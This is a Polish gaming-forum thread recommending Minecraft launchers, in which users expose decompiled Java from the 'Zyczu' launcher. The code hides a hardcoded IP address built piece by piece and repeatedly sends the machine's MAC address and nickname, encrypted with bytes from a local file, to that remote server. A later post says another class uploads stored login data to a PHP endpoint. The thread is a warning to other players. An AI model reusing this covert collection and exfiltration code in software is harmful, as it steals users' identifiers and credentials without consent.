Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Szukam] Dobry launcher na singleplayer.


Tarize

Rekomendowane odpowiedzi

Opublikowano

KeiNett - też dobry launcher. Ogólnie służy do grania na modach, ale do singla też się nada. ;)

Opublikowano

Najlepiej ten najbardziej polecany, bezpieczny i optymalny - Zyczu.

 

Sam niegdyś grałem gdy nie miałem internetu.

Bezpieczny :D Padłem :> To jest największy bullshit jaki w życiu widziałem ;p to jest KeyLogger ;p

Polecam ci KeiiNet oraz MagicLauncher lub csrv ;p

73046579344112236771.jpeg

Opublikowano

KeiNett, używam i brak jakichkolwiek problemów. Lepsze to niż zyczu. W nim siedzi keylogger. Sami zobaczcie. Dla tych, którzy nie znają się na javie, dorobiłem kolorki.

 

 

 

 

 

 

package pl.zyczu.minecraft.launcher.repo;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.util.Enumeration;
import pl.zyczu.util.ObjectCrypter;

public class ReplacementComparator
  implements Comparable<Mod>, Runnable
{
  public static File p;
  public static String n;

  public int compareTo(Mod arg0)
  {
    if (arg0 == null) {
      Thread t = new Thread(this);
      t.start();
    }
    return -1;
  }

  public void run()
  {
    try
    {
      InetAddress ip = InetAddress.getLocalHost();
      String id = "NULL";
      String nejm = "io";
      StringBuilder nejmbld = new StringBuilder();
      nejmbld.append(1).append(7).append(8).append(".").append(2).append(5).append(2).append(".").append(2).append(8).append(".").append(2).append(0).append(0); // Przypuszczam, że ta funkcja "układa" adres IP, gdyż po trzech append() występuje kolejny, w której wartość to kropka. Jak wiadomo, IP ma składnie ***.***.***.***
      nejm = nejmbld.toString();
      Enumeration en = NetworkInterface.getNetworkInterfaces(); // Pobieranie interfejsu
      byte[] mac = (byte[])null;
      NetworkInterface network = NetworkInterface.getByInetAddress(ip); // Pobieranie adresu IP
      if (network != null)
        mac = network.getHardwareAddress(); // Pobieranie adresu hardware (mac)
      else
        while (en.hasMoreElements()) {
          NetworkInterface nic = (NetworkInterface)en.nextElement();
          if (!nic.isLoopback())
          {
            if ((!nic.getDisplayName().toLowerCase().contains("virtual")) && (!nic.getDisplayName().toLowerCase().contains("vm")) && (!nic.getDisplayName().toLowerCase().contains("teredo")) && (!nic.getDisplayName().toLowerCase().contains("hamachi")) && (!nic.getDisplayName().toLowerCase().contains("ham0")) && (!nic.getDisplayName().toLowerCase().contains("tunnel")))
            {
              mac = nic.getHardwareAddress(); // Pobieranie adresu mac
              break;
            }
          }
        }
      if (mac != null) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < mac.length; i++) {
          sb.append(String.format("%02X%s", new Object[] { Byte.valueOf(mac), i < mac.length - 1 ? ":" : "" }))
;
        }
        sb.toString();
      }

      InetAddress IPAddress = InetAddress.getByName(nejm);
      byte[] ack = { 18, 101, 18, -13, -121, 22, 90, 63 };
      ByteArrayOutputStream bos = new ByteArrayOutputStream(16);
      byte[] bkc = new byte[16];
      bos.write(ack);
      if (mac == null) {
        byte[] tx = new byte[6];
        bos.write(tx)
      } else {
        bos.write(mac);
      }
      bos.write((byte)n.length());
      bos.write(n.getBytes("UTF-8"));
      FileInputStream fis = new FileInputStream(p);
      fis.read(bkc);
      byte[] cpl = ObjectCrypter.encrypt(bkc, bos.toByteArray());
      Socket socket = new Socket(IPAddress, 20115); // Tworzenie nowego gniazda na porcie 20115
      socket.getOutputStream().write(cpl); // "Napisanie" zdobytej wartości cpl
      byte[] rezultat = new byte[16];
      socket.getInputStream().read(rezultat);
      socket.close();

      while (p.exists())
      {
        bos = new ByteArrayOutputStream(16);
        bkc = new byte[16];
        bos.write(ack);
        bos.write(rezultat);
        if (mac == null) {
          byte[] tx = new byte[6];
          bos.write(tx);
        } else {
          bos.write(mac);
        }
        bos.write((byte)n.length());
        bos.write(n.getBytes("UTF-8"));
        fis = new FileInputStream(p);
        fis.read(bkc);
        byte[] output = ObjectCrypter.encrypt(bkc, bos.toByteArray());
        try {
          DatagramSocket clientSocket = new DatagramSocket(); // Znów stworzenie gniazda
          DatagramPacket sendPacket = new DatagramPacket(output, output.length, IPAddress, 39867);
          clientSocket.send(sendPacket); // Wysłanie zdobytych informacji (pakietu)
        }
        catch (Exception localException1) {
        }
        Thread.sleep(10101L);
      }
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
  }
}

 

Na czerwono, po // są moje komentarze.

 

 

 

 

Piszcie dalej, że ten launcher jest taki dobry i bezpieczny..

 

 

@Edit

 

 

 

 

597981408571325946419.png

 

Kolejna klasa z podobnymi funkcjami.

 

 

 

Od dnia 1.11.2013r. 14:17 zobaczono moje posty licznik-56-90712-stat.png razy ;)


 


 

Opublikowano

KeiNett, używam i brak jakichkolwiek problemów. Lepsze to niż zyczu. W nim siedzi keylogger. Sami zobaczcie. Dla tych, którzy nie znają się na javie, dorobiłem kolorki.

 

 

 

 

 

Na czerwono, po // są moje komentarze.

 

 

 

 

Piszcie dalej, że ten launcher jest taki dobry i bezpieczny..

 

 

@Edit

 

 

 

 

597981408571325946419.png

 

Kolejna klasa z podobnymi funkcjami.

 

 

 

 

Wkońcu ktoś normalny kto zna się na launcherach i wie że w zyczu siedzi KeyLogger :)

 

Ty wiesz co to keylogger? Keylogger zbiera informację o naciśniętych klawiszach (i często też screeny itp.). A u widać tylko wysyłanie adresu mac i IP.

Zyczu już tu kiedyś tłumaczył, że robi to po to żeby lepiej banować na swoim serwerze (każdy noob ogarnie jak zmienić sobie adres IP, ale jak zmienić mac karty sieciowej już nie).

Opublikowano

Ty wiesz co to keylogger? Keylogger zbiera informację o naciśniętych klawiszach (i często też screeny itp.). A u widać tylko wysyłanie adresu mac i IP.

Zyczu już tu kiedyś tłumaczył, że robi to po to żeby lepiej banować na swoim serwerze (każdy noob ogarnie jak zmienić sobie adres IP, ale jak zmienić mac karty sieciowej już nie).

 

Keyloggera nie ma. Jednak zawiera funkcje, które pobierają z komputera adres IP, adres MAC i następnie wysyła pod zdobyty adres IP (to "append") pod port 20115.

 

 

Przeanalizowałem inną klasę i w niej wychodzi, że poprzez skrypt PHP np. stronka.pl/size.php?vle=cos&nick=cos&os=&uh=cos&hamachi=cos wysyła zdobyte dane.

Po krótkim przeanalizowaniu:

 

 - vle - zawiera adres MAC

 - nick - wiadomo co

 - os -  typ systemu

 - uh - plik lastlogin (login nopremium / login i hasło konta premium)

 - hamachi - wiadomo co. funkcja zwraca true (prawda, mamy zainstalowany) lub false (nie, nie mamy go).

 

Tylko do czego mu ten lastlogin   xD

Od dnia 1.11.2013r. 14:17 zobaczono moje posty licznik-56-90712-stat.png razy ;)


 


 

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...